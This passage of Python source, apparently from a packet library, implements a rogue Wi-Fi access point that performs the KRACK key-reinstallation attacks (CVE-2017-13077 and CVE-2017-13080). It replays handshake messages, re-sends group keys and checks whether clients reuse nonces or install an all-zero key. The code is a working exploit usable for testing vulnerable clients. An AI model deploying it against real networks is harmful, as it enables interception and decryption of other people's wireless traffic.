@ATMT.receive_condition(AUTH_RESPONSE_SENT) 486*7dc08ffcSJunyu Lai def assoc_received(self, pkt): 487*7dc08ffcSJunyu Lai if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 488*7dc08ffcSJunyu Lai pkt[Dot11Elt::{'ID': 0}].info == self.ssid: 489*7dc08ffcSJunyu Lai raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) 490*7dc08ffcSJunyu Lai 491*7dc08ffcSJunyu Lai @ATMT.action(assoc_received) 492*7dc08ffcSJunyu Lai def send_assoc_response(self, pkt): 493*7dc08ffcSJunyu Lai 494*7dc08ffcSJunyu Lai # Get RSN info 495*7dc08ffcSJunyu Lai temp_pkt = pkt[Dot11Elt::{"ID":48}].copy() 496*7dc08ffcSJunyu Lai temp_pkt.remove_payload() 497*7dc08ffcSJunyu Lai self.RSN = raw(temp_pkt) 498*7dc08ffcSJunyu Lai # Avoid 802.11w, etc. (deactivate RSN capabilities) 499*7dc08ffcSJunyu Lai self.RSN = self.RSN[:-2] + "\x00\x00" 500*7dc08ffcSJunyu Lai 501*7dc08ffcSJunyu Lai rep = RadioTap() 502*7dc08ffcSJunyu Lai rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) 503*7dc08ffcSJunyu Lai rep /= Dot11AssoResp() 504*7dc08ffcSJunyu Lai rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$') 505*7dc08ffcSJunyu Lai 506*7dc08ffcSJunyu Lai self.send(rep) 507*7dc08ffcSJunyu Lai 508*7dc08ffcSJunyu Lai @ATMT.condition(ASSOC_RESPONSE_SENT) 509*7dc08ffcSJunyu Lai def assoc_sent(self): 510*7dc08ffcSJunyu Lai raise self.WPA_HANDSHAKE_STEP_1_SENT() 511*7dc08ffcSJunyu Lai 512*7dc08ffcSJunyu Lai @ATMT.action(assoc_sent) 513*7dc08ffcSJunyu Lai def send_wpa_handshake_1(self): 514*7dc08ffcSJunyu Lai 515*7dc08ffcSJunyu Lai self.anonce = self.gen_nonce(32) 516*7dc08ffcSJunyu Lai 517*7dc08ffcSJunyu Lai rep = RadioTap() 518*7dc08ffcSJunyu Lai rep /= Dot11( 519*7dc08ffcSJunyu Lai addr1=self.client, 520*7dc08ffcSJunyu Lai addr2=self.mac, 521*7dc08ffcSJunyu Lai addr3=self.mac, 522*7dc08ffcSJunyu Lai FCfield='from-DS', 523*7dc08ffcSJunyu Lai SC=(next(self.seq_num) << 4), 524*7dc08ffcSJunyu Lai ) 525*7dc08ffcSJunyu Lai rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 526*7dc08ffcSJunyu Lai rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 527*7dc08ffcSJunyu Lai rep /= self.build_EAPOL_Key_8021X2004( 528*7dc08ffcSJunyu Lai key_information=0x89, 529*7dc08ffcSJunyu Lai replay_counter=next(self.replay_counter), 530*7dc08ffcSJunyu Lai nonce=self.anonce, 531*7dc08ffcSJunyu Lai ) 532*7dc08ffcSJunyu Lai 533*7dc08ffcSJunyu Lai self.send(rep) 534*7dc08ffcSJunyu Lai 535*7dc08ffcSJunyu Lai @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) 536*7dc08ffcSJunyu Lai def wpa_handshake_1_sent(self, pkt): 537*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 538*7dc08ffcSJunyu Lai if not RadioTap in pkt: 539*7dc08ffcSJunyu Lai return 540*7dc08ffcSJunyu Lai if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 541*7dc08ffcSJunyu Lai pkt[EAPOL].load[1] == "\x01": 542*7dc08ffcSJunyu Lai # Key MIC: set, Secure / Error / Request / Encrypted / SMK 543*7dc08ffcSJunyu Lai # message: not set 544*7dc08ffcSJunyu Lai raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) 545*7dc08ffcSJunyu Lai 546*7dc08ffcSJunyu Lai @ATMT.action(wpa_handshake_1_sent) 547*7dc08ffcSJunyu Lai def send_wpa_handshake_3(self, pkt): 548*7dc08ffcSJunyu Lai 549*7dc08ffcSJunyu Lai # Both nonce have been exchanged, install keys 550*7dc08ffcSJunyu Lai client_nonce = pkt[EAPOL].load[13:13 + 0x20] 551*7dc08ffcSJunyu Lai self.install_unicast_keys(client_nonce) 552*7dc08ffcSJunyu Lai 553*7dc08ffcSJunyu Lai # Check client MIC 554*7dc08ffcSJunyu Lai 555*7dc08ffcSJunyu Lai # Data: full message with MIC place replaced by 0s 556*7dc08ffcSJunyu Lai # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python 557*7dc08ffcSJunyu Lai client_mic = pkt[EAPOL].load[77:77 + 16] 558*7dc08ffcSJunyu Lai client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic)) 559*7dc08ffcSJunyu Lai assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic 560*7dc08ffcSJunyu Lai 561*7dc08ffcSJunyu Lai rep = RadioTap() 562*7dc08ffcSJunyu Lai rep /= Dot11( 563*7dc08ffcSJunyu Lai addr1=self.client, 564*7dc08ffcSJunyu Lai addr2=self.mac, 565*7dc08ffcSJunyu Lai addr3=self.mac, 566*7dc08ffcSJunyu Lai FCfield='from-DS', 567*7dc08ffcSJunyu Lai SC=(next(self.seq_num) << 4), 568*7dc08ffcSJunyu Lai ) 569*7dc08ffcSJunyu Lai 570*7dc08ffcSJunyu Lai rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 571*7dc08ffcSJunyu Lai rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 572*7dc08ffcSJunyu Lai 573*7dc08ffcSJunyu Lai self.install_GTK() 574*7dc08ffcSJunyu Lai data = self.RSN 575*7dc08ffcSJunyu Lai data += self.build_GTK_KDE() 576*7dc08ffcSJunyu Lai 577*7dc08ffcSJunyu Lai eap = self.build_EAPOL_Key_8021X2004( 578*7dc08ffcSJunyu Lai key_information=0x13c9, 579*7dc08ffcSJunyu Lai replay_counter=next(self.replay_counter), 580*7dc08ffcSJunyu Lai nonce=self.anonce, 581*7dc08ffcSJunyu Lai data=data, 582*7dc08ffcSJunyu Lai key_mic=self.kck, 583*7dc08ffcSJunyu Lai key_data_encrypt=self.kek, 584*7dc08ffcSJunyu Lai ) 585*7dc08ffcSJunyu Lai 586*7dc08ffcSJunyu Lai self.send(rep / eap) 587*7dc08ffcSJunyu Lai 588*7dc08ffcSJunyu Lai @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) 589*7dc08ffcSJunyu Lai def wpa_handshake_3_sent(self, pkt): 590*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 591*7dc08ffcSJunyu Lai if not RadioTap in pkt: 592*7dc08ffcSJunyu Lai return 593*7dc08ffcSJunyu Lai if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 594*7dc08ffcSJunyu Lai pkt[EAPOL].load[1:3] == "\x03\x09": 595*7dc08ffcSJunyu Lai self.time_handshake_end = time.time() 596*7dc08ffcSJunyu Lai raise self.KRACK_DISPATCHER() 597*7dc08ffcSJunyu Lai 598*7dc08ffcSJunyu Lai @ATMT.condition(KRACK_DISPATCHER) 599*7dc08ffcSJunyu Lai def krack_dispatch(self): 600*7dc08ffcSJunyu Lai now = time.time() 601*7dc08ffcSJunyu Lai # Handshake 3/4 replay 602*7dc08ffcSJunyu Lai if self.double_3handshake and (self.krack_state & 1 == 0) and \ 603*7dc08ffcSJunyu Lai (now - self.time_handshake_end) > self.wait_3handshake: 604*7dc08ffcSJunyu Lai log_runtime.info("Trying to trigger CVE-2017-13077") 605*7dc08ffcSJunyu Lai raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) 606*7dc08ffcSJunyu Lai 607*7dc08ffcSJunyu Lai # GTK rekeying 608*7dc08ffcSJunyu Lai if (self.krack_state & 2 == 0) and \ 609*7dc08ffcSJunyu Lai (now - self.time_handshake_end) > self.wait_gtk: 610*7dc08ffcSJunyu Lai raise self.ANALYZE_DATA().action_parameters(send_gtk=True) 611*7dc08ffcSJunyu Lai 612*7dc08ffcSJunyu Lai # Fallback in data analysis 613*7dc08ffcSJunyu Lai raise self.ANALYZE_DATA().action_parameters() 614*7dc08ffcSJunyu Lai 615*7dc08ffcSJunyu Lai @ATMT.action(krack_dispatch) 616*7dc08ffcSJunyu Lai def krack_proceed(self, send_3handshake=False, send_gtk=False): 617*7dc08ffcSJunyu Lai if send_3handshake: 618*7dc08ffcSJunyu Lai rep = RadioTap() 619*7dc08ffcSJunyu Lai rep /= Dot11( 620*7dc08ffcSJunyu Lai addr1=self.client, 621*7dc08ffcSJunyu Lai addr2=self.mac, 622*7dc08ffcSJunyu Lai addr3=self.mac, 623*7dc08ffcSJunyu Lai FCfield='from-DS', 624*7dc08ffcSJunyu Lai SC=(next(self.seq_num) << 4), 625*7dc08ffcSJunyu Lai subtype=0, 626*7dc08ffcSJunyu Lai type="Data", 627*7dc08ffcSJunyu Lai ) 628*7dc08ffcSJunyu Lai 629*7dc08ffcSJunyu Lai rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 630*7dc08ffcSJunyu Lai rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 631*7dc08ffcSJunyu Lai 632*7dc08ffcSJunyu Lai data = self.RSN 633*7dc08ffcSJunyu Lai data += self.build_GTK_KDE() 634*7dc08ffcSJunyu Lai 635*7dc08ffcSJunyu Lai eap_2 = self.build_EAPOL_Key_8021X2004( 636*7dc08ffcSJunyu Lai # Key information 0x13c9: 637*7dc08ffcSJunyu Lai # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, 638*7dc08ffcSJunyu Lai # Encrypted, SMK 639*7dc08ffcSJunyu Lai key_information=0x13c9, 640*7dc08ffcSJunyu Lai replay_counter=next(self.replay_counter), 641*7dc08ffcSJunyu Lai nonce=self.anonce, 642*7dc08ffcSJunyu Lai data=data, 643*7dc08ffcSJunyu Lai key_mic=self.kck, 644*7dc08ffcSJunyu Lai key_data_encrypt=self.kek, 645*7dc08ffcSJunyu Lai ) 646*7dc08ffcSJunyu Lai 647*7dc08ffcSJunyu Lai rep /= eap_2 648*7dc08ffcSJunyu Lai 649*7dc08ffcSJunyu Lai if self.encrypt_3handshake: 650*7dc08ffcSJunyu Lai self.send_wpa_to_client(rep[LLC]) 651*7dc08ffcSJunyu Lai else: 652*7dc08ffcSJunyu Lai self.send(rep) 653*7dc08ffcSJunyu Lai 654*7dc08ffcSJunyu Lai self.krack_state |= 1 655*7dc08ffcSJunyu Lai 656*7dc08ffcSJunyu Lai if send_gtk: 657*7dc08ffcSJunyu Lai self.krack_state |= 2 658*7dc08ffcSJunyu Lai # Renew the GTK 659*7dc08ffcSJunyu Lai self.install_GTK() 660*7dc08ffcSJunyu Lai raise self.RENEW_GTK() 661*7dc08ffcSJunyu Lai 662*7dc08ffcSJunyu Lai @ATMT.receive_condition(ANALYZE_DATA) 663*7dc08ffcSJunyu Lai def get_data(self, pkt): 664*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 665*7dc08ffcSJunyu Lai if not RadioTap in pkt: 666*7dc08ffcSJunyu Lai return 667*7dc08ffcSJunyu Lai 668*7dc08ffcSJunyu Lai # Skip retries 669*7dc08ffcSJunyu Lai if pkt[Dot11].FCfield.retry: 670*7dc08ffcSJunyu Lai return 671*7dc08ffcSJunyu Lai 672*7dc08ffcSJunyu Lai # Skip unencrypted frames (TKIP rely on WEP packet) 673*7dc08ffcSJunyu Lai if not pkt[Dot11].FCfield.wep: 674*7dc08ffcSJunyu Lai return 675*7dc08ffcSJunyu Lai 676*7dc08ffcSJunyu Lai # Dot11.type 2: Data 677*7dc08ffcSJunyu Lai if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: 678*7dc08ffcSJunyu Lai # Do not check pkt.addr3, frame can be broadcast 679*7dc08ffcSJunyu Lai raise self.KRACK_DISPATCHER().action_parameters(pkt) 680*7dc08ffcSJunyu Lai 681*7dc08ffcSJunyu Lai @ATMT.action(get_data) 682*7dc08ffcSJunyu Lai def extract_iv(self, pkt): 683*7dc08ffcSJunyu Lai # Get IV 684*7dc08ffcSJunyu Lai TSC, _, _ = parse_TKIP_hdr(pkt) 685*7dc08ffcSJunyu Lai iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ 686*7dc08ffcSJunyu Lai (TSC[4] << 32) | (TSC[5] << 40) 687*7dc08ffcSJunyu Lai log_runtime.info("Got a packet with IV: %s", hex(iv)) 688*7dc08ffcSJunyu Lai 689*7dc08ffcSJunyu Lai if self.last_iv is None: 690*7dc08ffcSJunyu Lai self.last_iv = iv 691*7dc08ffcSJunyu Lai else: 692*7dc08ffcSJunyu Lai if iv <= self.last_iv: 693*7dc08ffcSJunyu Lai log_runtime.warning("IV re-use!! Client seems to be " 694*7dc08ffcSJunyu Lai "vulnerable to handshake 3/4 replay " 695*7dc08ffcSJunyu Lai "(CVE-2017-13077)" 696*7dc08ffcSJunyu Lai ) 697*7dc08ffcSJunyu Lai 698*7dc08ffcSJunyu Lai data_clear = None 699*7dc08ffcSJunyu Lai 700*7dc08ffcSJunyu Lai # Normal decoding 701*7dc08ffcSJunyu Lai data = parse_data_pkt(pkt, self.tk) 702*7dc08ffcSJunyu Lai try: 703*7dc08ffcSJunyu Lai data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 704*7dc08ffcSJunyu Lai pkt.addr3) 705*7dc08ffcSJunyu Lai except (ICVError, MICError): 706*7dc08ffcSJunyu Lai pass 707*7dc08ffcSJunyu Lai 708*7dc08ffcSJunyu Lai # Decoding with a 0's TK 709*7dc08ffcSJunyu Lai if data_clear is None: 710*7dc08ffcSJunyu Lai data = parse_data_pkt(pkt, "\x00" * len(self.tk)) 711*7dc08ffcSJunyu Lai try: 712*7dc08ffcSJunyu Lai mic_key = "\x00" * len(self.mic_sta_to_ap) 713*7dc08ffcSJunyu Lai data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) 714*7dc08ffcSJunyu Lai log_runtime.warning("Client has installed an all zero " 715*7dc08ffcSJunyu Lai "encryption key (TK)!!") 716*7dc08ffcSJunyu Lai except (ICVError, MICError): 717*7dc08ffcSJunyu Lai pass 718*7dc08ffcSJunyu Lai 719*7dc08ffcSJunyu Lai if data_clear is None: 720*7dc08ffcSJunyu Lai log_runtime.warning("Unable to decode the packet, something went " 721*7dc08ffcSJunyu Lai "wrong") 722*7dc08ffcSJunyu Lai log_runtime.debug(hexdump(pkt, dump=True)) 723*7dc08ffcSJunyu Lai self.deal_common_pkt(pkt) 724*7dc08ffcSJunyu Lai return 725*7dc08ffcSJunyu Lai 726*7dc08ffcSJunyu Lai log_runtime.debug(hexdump(data_clear, dump=True)) 727*7dc08ffcSJunyu Lai pkt = LLC(data_clear) 728*7dc08ffcSJunyu Lai log_runtime.debug(repr(pkt)) 729*7dc08ffcSJunyu Lai self.deal_common_pkt(pkt) 730*7dc08ffcSJunyu Lai 731*7dc08ffcSJunyu Lai 732*7dc08ffcSJunyu Lai @ATMT.condition(RENEW_GTK) 733*7dc08ffcSJunyu Lai def gtk_pkt_1(self): 734*7dc08ffcSJunyu Lai raise self.WAIT_GTK_ACCEPT() 735*7dc08ffcSJunyu Lai 736*7dc08ffcSJunyu Lai @ATMT.action(gtk_pkt_1) 737*7dc08ffcSJunyu Lai def send_renew_gtk(self): 738*7dc08ffcSJunyu Lai 739*7dc08ffcSJunyu Lai rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 740*7dc08ffcSJunyu Lai rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 741*7dc08ffcSJunyu Lai 742*7dc08ffcSJunyu Lai data = self.build_GTK_KDE() 743*7dc08ffcSJunyu Lai 744*7dc08ffcSJunyu Lai eap = self.build_EAPOL_Key_8021X2004( 745*7dc08ffcSJunyu Lai # Key information 0x1381: 746*7dc08ffcSJunyu Lai # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, 747*7dc08ffcSJunyu Lai # SMK 748*7dc08ffcSJunyu Lai key_information=0x1381, 749*7dc08ffcSJunyu Lai replay_counter=next(self.replay_counter), 750*7dc08ffcSJunyu Lai nonce=self.anonce, 751*7dc08ffcSJunyu Lai data=data, 752*7dc08ffcSJunyu Lai key_mic=self.kck, 753*7dc08ffcSJunyu Lai key_data_encrypt=self.kek, 754*7dc08ffcSJunyu Lai ) 755*7dc08ffcSJunyu Lai 756*7dc08ffcSJunyu Lai rep_to_enc /= eap 757*7dc08ffcSJunyu Lai self.send_wpa_to_client(rep_to_enc) 758*7dc08ffcSJunyu Lai 759*7dc08ffcSJunyu Lai @ATMT.receive_condition(WAIT_GTK_ACCEPT) 760*7dc08ffcSJunyu Lai def get_gtk_2(self, pkt): 761*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 762*7dc08ffcSJunyu Lai if not RadioTap in pkt: 763*7dc08ffcSJunyu Lai return 764*7dc08ffcSJunyu Lai 765*7dc08ffcSJunyu Lai # Skip retries 766*7dc08ffcSJunyu Lai if pkt[Dot11].FCfield.retry: 767*7dc08ffcSJunyu Lai return 768*7dc08ffcSJunyu Lai 769*7dc08ffcSJunyu Lai # Skip unencrypted frames (TKIP rely on WEP packet) 770*7dc08ffcSJunyu Lai if not pkt[Dot11].FCfield.wep: 771*7dc08ffcSJunyu Lai return 772*7dc08ffcSJunyu Lai 773*7dc08ffcSJunyu Lai # Normal decoding 774*7dc08ffcSJunyu Lai try: 775*7dc08ffcSJunyu Lai data = parse_data_pkt(pkt, self.tk) 776*7dc08ffcSJunyu Lai except ValueError: 777*7dc08ffcSJunyu Lai return 778*7dc08ffcSJunyu Lai try: 779*7dc08ffcSJunyu Lai data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 780*7dc08ffcSJunyu Lai pkt.addr3) 781*7dc08ffcSJunyu Lai except (ICVError, MICError): 782*7dc08ffcSJunyu Lai return 783*7dc08ffcSJunyu Lai 784*7dc08ffcSJunyu Lai pkt_clear = LLC(data_clear) 785*7dc08ffcSJunyu Lai if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ 786*7dc08ffcSJunyu Lai pkt_clear[EAPOL].load[1:3] == "\x03\x01": 787*7dc08ffcSJunyu Lai raise self.WAIT_ARP_REPLIES() 788*7dc08ffcSJunyu Lai 789*7dc08ffcSJunyu Lai @ATMT.action(get_gtk_2) 790*7dc08ffcSJunyu Lai def send_arp_req(self): 791*7dc08ffcSJunyu Lai 792*7dc08ffcSJunyu Lai if self.krack_state & 4 == 0: 793*7dc08ffcSJunyu Lai # Set the address for future uses 794*7dc08ffcSJunyu Lai self.arp_target_ip = self.dhcp_server.leases.get(self.client, 795*7dc08ffcSJunyu Lai self.arp_target_ip) 796*7dc08ffcSJunyu Lai assert self.arp_target_ip is not None 797*7dc08ffcSJunyu Lai 798*7dc08ffcSJunyu Lai # Send the first ARP requests, for control test 799*7dc08ffcSJunyu Lai log_runtime.info("Send ARP who-was from '%s' to '%s'", 800*7dc08ffcSJunyu Lai self.arp_source_ip, 801*7dc08ffcSJunyu Lai self.arp_target_ip) 802*7dc08ffcSJunyu Lai arp_pkt = self.send_wpa_to_group( 803*7dc08ffcSJunyu Lai LLC()/SNAP()/ARP(op="who-has", 804*7dc08ffcSJunyu Lai psrc=self.arp_source_ip, 805*7dc08ffcSJunyu Lai pdst=self.arp_target_ip, 806*7dc08ffcSJunyu Lai hwsrc=self.mac), 807*7dc08ffcSJunyu Lai dest='ff:ff:ff:ff:ff:ff', 808*7dc08ffcSJunyu Lai ) 809*7dc08ffcSJunyu Lai self.arp_sent.append(arp_pkt) 810*7dc08ffcSJunyu Lai else: 811*7dc08ffcSJunyu Lai if self.arp_to_send < len(self.arp_sent): 812*7dc08ffcSJunyu Lai # Re-send the ARP requests already sent 813*7dc08ffcSJunyu Lai self.send(self.arp_sent[self.arp_to_send]) 814*7dc08ffcSJunyu Lai self.arp_to_send += 1 815*7dc08ffcSJunyu Lai else: 816*7dc08ffcSJunyu Lai # Re-send GTK 817*7dc08ffcSJunyu Lai self.arp_to_send = 0 818*7dc08ffcSJunyu Lai self.arp_retry += 1 819*7dc08ffcSJunyu Lai log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", 820*7dc08ffcSJunyu Lai self.arp_retry, self.ARP_MAX_RETRY) 821*7dc08ffcSJunyu Lai if self.arp_retry > self.ARP_MAX_RETRY: 822*7dc08ffcSJunyu Lai # We retries 100 times to send GTK, then already sent ARPs 823*7dc08ffcSJunyu Lai log_runtime.warning("Client is likely not vulnerable to " 824*7dc08ffcSJunyu Lai "CVE-2017-13080") 825*7dc08ffcSJunyu Lai raise self.EXIT() 826*7dc08ffcSJunyu Lai 827*7dc08ffcSJunyu Lai raise self.RENEW_GTK() 828*7dc08ffcSJunyu Lai 829*7dc08ffcSJunyu Lai @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) 830*7dc08ffcSJunyu Lai def resend_arp_req(self): 831*7dc08ffcSJunyu Lai self.send_arp_req() 832*7dc08ffcSJunyu Lai raise self.WAIT_ARP_REPLIES() 833*7dc08ffcSJunyu Lai 834*7dc08ffcSJunyu Lai @ATMT.receive_condition(WAIT_ARP_REPLIES) 835*7dc08ffcSJunyu Lai def get_arp(self, pkt): 836*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 837*7dc08ffcSJunyu Lai if not RadioTap in pkt: 838*7dc08ffcSJunyu Lai return 839*7dc08ffcSJunyu Lai 840*7dc08ffcSJunyu Lai # Skip retries 841*7dc08ffcSJunyu Lai if pkt[Dot11].FCfield.retry: 842*7dc08ffcSJunyu Lai return 843*7dc08ffcSJunyu Lai 844*7dc08ffcSJunyu Lai # Skip unencrypted frames (TKIP rely on WEP packet) 845*7dc08ffcSJunyu Lai if not pkt[Dot11].FCfield.wep: 846*7dc08ffcSJunyu Lai return 847*7dc08ffcSJunyu Lai 848*7dc08ffcSJunyu Lai # Dot11.type 2: Data 849*7dc08ffcSJunyu Lai if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: 850*7dc08ffcSJunyu Lai # Do not check pkt.addr3, frame can be broadcast 851*7dc08ffcSJunyu Lai raise self.WAIT_ARP_REPLIES().action_parameters(pkt) 852*7dc08ffcSJunyu Lai 853*7dc08ffcSJunyu Lai @ATMT.action(get_arp) 854*7dc08ffcSJunyu Lai def check_arp_reply(self, pkt): 855*7dc08ffcSJunyu Lai data = parse_data_pkt(pkt, self.tk) 856*7dc08ffcSJunyu Lai try: 857*7dc08ffcSJunyu Lai data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 858*7dc08ffcSJunyu Lai pkt.addr3) 859*7dc08ffcSJunyu Lai except (ICVError, MICError): 860*7dc08ffcSJunyu Lai return 861*7dc08ffcSJunyu Lai 862*7dc08ffcSJunyu Lai decoded_pkt = LLC(data_clear) 863*7dc08ffcSJunyu Lai log_runtime.debug(hexdump(decoded_pkt, dump=True)) 864*7dc08ffcSJunyu Lai log_runtime.debug(repr(decoded_pkt)) 865*7dc08ffcSJunyu Lai self.deal_common_pkt(decoded_pkt) 866*7dc08ffcSJunyu Lai if ARP not in decoded_pkt: 867*7dc08ffcSJunyu Lai return 868*7dc08ffcSJunyu Lai 869*7dc08ffcSJunyu Lai # ARP.op 2: is-at 870*7dc08ffcSJunyu Lai if decoded_pkt[ARP].op == 2 and \ 871*7dc08ffcSJunyu Lai decoded_pkt[ARP].psrc == self.arp_target_ip and \ 872*7dc08ffcSJunyu Lai decoded_pkt[ARP].pdst == self.arp_source_ip: 873*7dc08ffcSJunyu Lai # Got the expected ARP 874*7dc08ffcSJunyu Lai if self.krack_state & 4 == 0: 875*7dc08ffcSJunyu Lai # First time, normal behavior 876*7dc08ffcSJunyu Lai log_runtime.info("Got ARP reply, this is normal") 877*7dc08ffcSJunyu Lai self.krack_state |= 4 878*7dc08ffcSJunyu Lai log_runtime.info("Trying to trigger CVE-2017-13080") 879*7dc08ffcSJunyu Lai raise self.RENEW_GTK() 880*7dc08ffcSJunyu Lai else: 881*7dc08ffcSJunyu Lai # Second time, the packet has been accepted twice! 882*7dc08ffcSJunyu Lai log_runtime.warning("Broadcast packet accepted twice!! " 883*7dc08ffcSJunyu Lai "(CVE-2017-13080)") 884